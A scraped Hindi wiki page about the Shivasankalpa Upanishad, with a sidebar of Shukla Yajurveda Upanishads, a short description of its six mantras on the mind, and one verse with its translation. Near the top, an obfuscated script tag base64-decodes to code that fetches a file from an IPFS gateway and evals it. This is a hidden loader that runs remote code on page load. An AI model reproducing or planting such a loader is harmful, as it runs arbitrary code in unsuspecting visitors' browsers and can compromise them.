शिवसंकल्पोपनिषद

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__

  • शुक्ल यजुर्वेदीय उपनिषद
    • अद्वयतारकोपनिषद|अद्वयतारकोपनिषद
    • अध्यात्मोपनिषद|अध्यात्मोपनिषद
    • ईशावास्योपनिषद|ईशावास्योपनिषद
    • जाबालोपनिषद|जाबालोपनिषद
    • तुरीयातीतोपनिषद|तुरीयातीतोपनिषद
    • त्रिशिखिब्राह्मणोपनिषद|त्रिशिखिब्राह्मणोपनिषद
    • निरालम्बोपनिषद|निरालम्बोपनिषद
    • परमहंसोपनिषद|परमहंसोपनिषद
    • पैंगलोपनिषद|पैंगलोपनिषद
    • बृहदारण्यकोपनिषद|बृहदारण्यकोपनिषद
    • भिक्षुकोपनिषद|भिक्षुकोपनिषद
    • मन्त्रिकोपनिषद|मन्त्रिकोपनिषद
    • याज्ञवल्क्योपनिषद|याज्ञवल्क्योपनिषद
    • शाट्यायनीयोपनिषद|शाट्यायनीयोपनिषद
    • शिवसंकल्पोपनिषद|शिवसंकल्पोपनिषद
    • सुबालोपनिषद|सुबालोपनिषद
    • हंसोपनिषद|हंसोपनिषद

</sidebar>

शिवसंकल्पोपनिषद

शुक्ल यजुर्वेद के इस उपनिषद में कुल छह मन्त्र हैं, जिनमें मन की अद्भुत सामर्थ्य का वर्णन करते हुए, मन को 'शिवसंकल्पयुक्त' बनाने की प्रार्थना की गयी है। मन्त्रों का गठन अतयन्त सारगर्भित है।
येनेदं भूतं भुवनं भविष्यत् परिगृहीतममृतेन सर्वम्।
येन यज्ञस्तायते सप्तहोता तन्मे मन: शिवसंकल्पमस्तु॥4॥
अर्थात जिस अविनाशी मन की सामर्थ्य से सभी कालों का ज्ञान किया जा सकता है तथा जिसके द्वारा सप्त होतागण यज्ञ का विस्तार करते हैं, ऐसा हमारा मन श्रेष्ठ कल्याणकारी संकल्पों से युक्त हो।

सम्बंधित लिंक